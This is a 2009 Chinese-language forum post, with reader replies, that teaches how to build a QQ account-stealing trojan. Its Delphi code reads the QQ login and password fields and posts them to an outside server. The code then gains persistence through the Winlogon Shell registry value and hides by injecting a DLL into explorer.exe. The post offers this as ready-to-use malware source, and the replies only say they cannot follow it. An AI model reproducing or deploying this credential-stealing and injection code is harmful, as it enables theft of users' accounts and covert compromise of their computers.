★我要吧★

 找回密码
 注册[Register]
搜索
qq空间相册密码查看为什么登陆后需要激活无法注册?

[分享] 打造自己的线程木马

[复制链接]
发表于 2009-11-21 14:32:59 | 显示全部楼层 |阅读模式
本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。 " u' S1 B. \( i, f- ]! ?8 F
一.判断QQ是否运行
6 z5 L+ S& W4 s: T! ?QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明:
# [- H9 a: t- @FWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
9 f8 G/ C3 X# n因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。
/ M& G$ j" M* r0 m( J二.获取QQ帐号和密码 - ?, W# M9 e& f; f* u- G
在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数: % H( ~6 |& D. G0 J% k
procedure ThreadProc; + |( I) r$ u$ H# \- F" d7 c3 f
var 5 K" f: ^& @3 ?# x$ g
p,k:integer; $ q: A+ f4 F1 x8 Y3 @
qqhwnd,qqhwnd2,tempH:hwnd;   E: ?2 [' |$ V+ m2 J+ x! d* \
username,password:pchar; 6 A4 r1 T0 t! ?1 U
usertemp,passtemp:string;
$ @/ g% k1 X5 D! t9 Bbegin 3 y( Y* S- u! X; L
while true do
# x; ?+ {/ P" o0 Qbegin , _% w# L+ D, l% l- F% G
sleep(100); : H; ?3 o# m/ K! m2 F7 g9 y# t3 g' B
p:=k;
' l+ i" o9 T$ n: g4 hgetmem(username,255); # {) C0 j. q3 \1 h# d4 ^  z% c
getmem(password,255);
% }  e# D) U) b2 kQQhwnd:=FindWindow(`#32770`,nil);
# m/ Z+ T) |9 _, `% C) X" Wqqhwnd2:=FindWindowEx(qqhwnd,0,`Button`,`注册向导`);
. f4 ^4 ~& w9 j' w) T1 O0 ~4 {4 fif qqhwnd2<>0 then + ]3 Z4 S4 ~+ _! \! y3 ^' \$ C5 s5 f
begin
( x4 F( R; V" y( D8 B: lk:=1;
1 e# t) Y8 U5 ?$ Z; wTempH:=FindWindowEx(qqHwnd,0,`ComboBox`,nil); ; `- t" t% T. e) z3 @3 B
SendMessage(TempH,WM_GETTEXT,100,Integer(username)); 4 O! w9 I, H- o( \' y/ o% X
TempH:=FindWindowEx(QQHwnd,0,`Edit`,nil); 6 E6 j. g8 h! a
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0); # V* p+ |5 z3 B0 M  E* ]8 @5 [
Sleep(10); / }; t6 V2 m2 ~* l
SendMessage(TempH,WM_GETTEXT,100,Longint(password)); / q9 u% O$ K0 o6 G. M! ~( a. ~
PostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0); # r) o+ p9 b3 u# ?/ ]7 F
usertemp:=username; - }+ ^, }& W9 G' k$ s/ L! w
passtemp:=password;
5 I" [9 Z7 G" I% ?1 e2 ^) kend
1 e5 b, s4 e" Z, |- Y' @else ' X7 w* I7 t4 O2 l' }
begin 7 q. ]; ^: v1 n" k/ p
QQhwnd:=FindWindowEx(qqhwnd,0,`#32770`,nil);
1 r. q6 h9 v3 y4 ^8 I. b- K8 iQQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`); 6 S, K; @" f  J
if qqhwnd<>0 then
+ L, t5 h6 F5 zbegin 6 e* q) g  @+ d  K2 k  G& E
k:=1; 6 q  W. Y2 w! C$ H4 c0 \7 l
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT); ( \9 r9 u' z8 N7 `3 V2 c) Q3 j
SendMessage(TempH,WM_GETTEXT,100,Integer(username));   x" I0 M. G0 z0 ~
TempH:=GetNextWindow(TempH,GW_HWNDNEXT); 7 s: Q9 ]. K  Z" G0 U6 b* i( D1 a
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
7 B7 w9 f2 M. H+ qSleep(10);
- n7 p# g" {2 e3 RSendMessage(TempH,WM_GETTEXT,100,Longint(password));
1 O& ]% a! `( u- u. i8 sPostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0);
  {3 W& v) O6 |6 a; n, dusertemp:=username; / |! j: \9 S& ]& o; y
passtemp:=password; ' }6 l& Y% e1 I" \) q1 \7 Z( S% i& C
end 2 v+ X$ L# s4 v& ?
else k:=0; * q( X8 }! w7 Z. e
end;if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then + m) Y! ^. M- U7 v& h$ h
begin
$ R* m+ _) A9 @1 V) {3 p- vPostURL(`http://www.sokuang.com/qq/post.asp`,`username=`+usertemp+`&password=`+passtemp); 8 I3 j- k! v$ I9 ~/ j! a3 e9 y+ r
end; ' d; U. T9 X8 C. h. O
freemem(username);
; g/ ^1 E' a4 L/ ]6 w4 Zfreemem(password);end; 2 G" L0 x7 o( B! V
end;
- c$ Q  j- T$ Z$ P# j三.信息的发送
7 [2 ]# U- z# ?当木马成功截取到信息后就回将这些信息发出去,最常见的方法就是采用邮件送。Delphi中已经封装了邮件发送组件,大家可以直接调用组件作一个邮件发送程序,这了就不多说了。但由于调用组件会使木马文件体积过大,所以还是建议大家采用WINDOWS API来写一个邮件发送程序。上面我就调用了一个自定义函数posturl发送QQ帐号和密码到指定的 网页程序上。 4 E+ K* {/ T5 \- f# o" G/ \
四.QQ木马的启动和隐藏 完成了QQ木马的主要功能后,还必须为木马加上启动项,如果不能自动启动,那电脑重起后木马就不能自动运行了。木马自启动常见的方法就是修改注册表(一般的木马都是在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下加上启动项,大家都知道吧),这里告诉你一个隐蔽的位置,就是把[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon]下的shell键值修改一下。也就是在explorer.exe后面加一个空格然后再把木马的路径加上去,这样木马就会随着windows的启动而自动启动了。下面是我用API函数修改注册表的函数。(你也可以在Delphi中直接利用TRegistry对象访问和修改注册表,不过由于调用组件生成的木马太大,建议你用使用API函数。)
) w1 J5 F/ a' ?" Z! y; v4 ?function CreateKey(Root:HKEY;StrPath:pchar):Hkey; % ?  O* i$ J% Q% W
var TempKey:HKey;Disposition:Integer;
: y' t2 p' ]. q1 ]6 l: ebegin % X( r- p$ x+ [4 _1 Q
TempKey:=0; 7 Z& P# r. f, L* F6 y/ S
RegCreateKeyEx(Root,StrPath,0,nil,0,KEY_ALL_ACCESS,nil,TempKey,@Disposition);   E! R( v' k8 ?: g( P, N- K$ D& t
Result:=TempKey;
: X# j8 }9 q, s* r4 f2 ]end; % R( e: H. O8 l4 s5 F
procedure AddValue(Root:HKEY;StrPath:pchar;StrValue:pchar;Strdata:pchar;DataType:Integer);
+ p+ ?+ L6 T/ s: K1 B, ^var s:HKey;   N1 k( E& {3 a4 Y- {8 [
DataSize:Integer; * z+ U/ ~: a: z! B) c: t- a
begin ! q- G& e0 }1 ?
s:=CreateKey(Root,StrPath); 4 R2 b1 K8 U. D5 F2 ^- t
DataSize:=length(Strdata); 5 L- a* s3 |$ f3 q0 P1 c/ o8 f7 s
RegSetValueEx(s,StrValue,0,REG_SZ,Strdata,DataSize); //
+ _7 X& U. w1 K% z) U' ~RegCloseKey(s);
; G! Q0 S" ?9 i; b8 hend;
8 \9 Z1 S/ W& E/ F+ a: b$ j+ e上面这个函数是用来生成主键的,最后只需再调用一个函数修改键值 ' j$ ^( {$ a# G5 j) N# B- i1 j  p
AssValue(HKEY_LOCAL_MACHINE,`SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winl ogon`,`Shell`,pchar(`Explorer.exe `+paramstr(0)),1)
0 ~* G# t: D5 Z+ j+ N+ O# ~搞定木马的自动启动后就剩下隐藏了,木马的改进主要是为了成功躲避查杀,更好的隐藏自己,隐藏的方法有很多,在这里我想讲一下线程插入。先说下原理吧,在WINDOWS下面可执行程序是不允许访问其他程序进程空间的,但是DLL文件就不一样了。不如一个DLL文件内设置了一个系统级的钩子,那WINDOWS就会强行把这个DLL映射到所有程序进程空间里面,这样DLL就可以访问该程序的进程空间了。而如果这个DLL文件包含木马功能的话,那就很难被发现了,因为别人看到的是宿主程序的进程,而看不到DLL的进程。这里我以注入explorer.exe为例来说明一下编程思路。首先是得到explorer.exe的进程ID,得到进程ID后再利用OPENPROCESS函数打开资源管理器的进程空间,然后就可以注入了。以下是源代码,供参考。
  B7 |0 ~. l2 B' D7 {0 CFUNCTION InjectLibrary(Process;LongWord;DLLPath:pChar) : Boolean;
7 Q' i0 f9 A- \; `7 s; l. G5 r- t7 J6 \VAR
' W+ L, u; V  D. cBytesWritten:DWORD;
, [5 w# Z* m2 E% X+ G. V- TThread :DWORD;
9 O' I3 q& O1 M( k! ^: q8 XThreadID :DWORD; 1 F( }2 i1 O4 J" i9 L6 A, K' X
Parameters :Pointer;
5 u, W$ D+ `7 l5 e  s' dBEGIN 2 f5 f  O2 \0 X8 y' j
Result:=False; 0 R! w4 _* `# T  T* h
Parameters:=xVirtualAllocEx(Process,NIL,4096,MEM_COMMIT,PAGE_READWRITE);
3 r0 U. d. U. D. v6 DIF Parameters=NIL THEN Exit;
8 `0 I0 W, N: [WriteProcessMemory(Process,Parameters,Pointer(DLLPath),4096,BytesWritten); ( M& L& ?. k; f; R
Thread:=xCreateRemoteThread(Process,NIL<)<GetProcAddress(GetModuleHandle(`KER NEL32.DLL`),`LoadLibraryA`),Parameters,0,@Threadld);
( R, t2 |' w2 e" iWaitForSingleObject(Thread,INFINITE);
3 u" n7 R! @" C: e/ _/ `+ S  AxVirtualFreeEx(Process,Parameters,0,MEM_RELEASE); * }* l2 O* j+ A" l
IF Thread=0 THEN Exit; / _5 `7 Y6 I4 a0 D  C+ w
CloseHandle(Thread); 8 \, h( T  U5 j+ L! T
Result:=True; % s# w! ^* E2 C
END;
: C# I/ ]; ?8 W, A4 WInjectLibrary这个函数使用来注入的函数,在调用前必须显得到浏览器的进程第,然后打开浏览器进程空间后才能调用。调用过程如下: 2 O$ x8 d1 J% u+ l4 [- r
PID:=GetProcessID(`EXPLORER.EXE`);
4 i8 H! m$ E4 @+ V7 R' E8 L1 z- gProcess:=OpenProcess(PROCESS_ACCESS,False,PID);
+ k* T; f1 T$ N4 y/ O" I+ {InjectLibrary(Process,Pchar(DllAllpath));
9 L5 R: f+ Q% l/ Y3 x* K0 ~这样就搞定了线程插入,不过都是调用WINDOWS API函数操作的。因为线程插入技术是把DLL文件映射到可执行文件的进程空间里面,所以要想清除木马首先要关闭可执行文件,而EXPLORER.EXE是WINDOWS系统启动的必须程序,要想清除就很难了。 $ i3 V% B0 _1 O/ k
因为木马需要用到DLL文件,并且在DLL文件中实现木马的功能能起到很好的隐藏作用,所以整个木马绝大部分功能都在DLL中完成。但要想让DLL文件运行必须由其他文件调用才能用,DLL文件是不能单独运行的。所以这里我编写了一个可执行文件来调用DLL木马,并且完成掀程插入功能。这样整个木马就包含两个文件,一个可执行文件和一个DLL文件。但含两个文件的木马是很不方便用的,你可以把DLL文件作为一个资源放在可执行文件里面,当可执行文件运行时就把DLL文件资源释放出来,然后再调用线程插入功能把DLL文件插入到资源管理器中,这样问题就完美的解决了。并且如果这个DLL文件被删除了,可执行文件还可以继续生成这个DLL文件。 4 s* p! J% O4 N6 P+ W) u
就这样简单,一款属于自己的“马”就出来了,剩下该做什么就不用我说了吧 ! [7 f% M# u/ l. y8 S
: F$ f, O4 H0 @* Q/ V! V
发表于 2009-11-21 17:08:47 | 显示全部楼层
:loveliness:
7 T9 `2 ^/ M& t, tAPI.嘿嘿就看懂这一个
发表于 2009-11-21 17:25:53 | 显示全部楼层
:(:;楼上的是天才,我一个都不懂。。
发表于 2009-11-21 19:11:11 | 显示全部楼层
偶看不懂啊......
发表于 2009-11-24 20:15:22 | 显示全部楼层
太深奥咯~~·看不懂
发表于 2009-11-25 14:27:49 | 显示全部楼层
偶是菜鸟,看不懂
发表于 2009-11-25 14:40:50 | 显示全部楼层
没看懂:victory:
发表于 2009-12-4 00:13:13 | 显示全部楼层
谢谢楼主分享
发表于 2009-12-4 07:36:34 | 显示全部楼层
太深奥咯~~·看不懂
发表于 2009-12-4 08:39:18 | 显示全部楼层
牛人..  H: k: `6 j* {! E1 G; V0 k
俺们完全看不懂:$
发表于 2009-12-4 09:41:54 | 显示全部楼层
我也没看懂,一方面太长,一方面那些名称我不明白
发表于 2010-1-8 10:40:34 | 显示全部楼层
太复杂了看不懂。。。。
发表于 2010-1-8 11:13:52 | 显示全部楼层
现在QQ运行很难
发表于 2010-2-18 20:49:57 | 显示全部楼层
黑客对电脑就是懂得多一点,业余的就是业余的…………:hug:
发表于 2010-2-18 22:30:50 | 显示全部楼层
真看不懂……
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

QQ|手机版|小黑屋|☆我要吧☆ ( 豫ICP备13016831号-1 )

GMT+8, 2025-12-6 03:59 , Processed in 0.076296 second(s), 22 queries .

Powered by abc369 X3.4

© 2001-2023 abc369.

快速回复 返回顶部 返回列表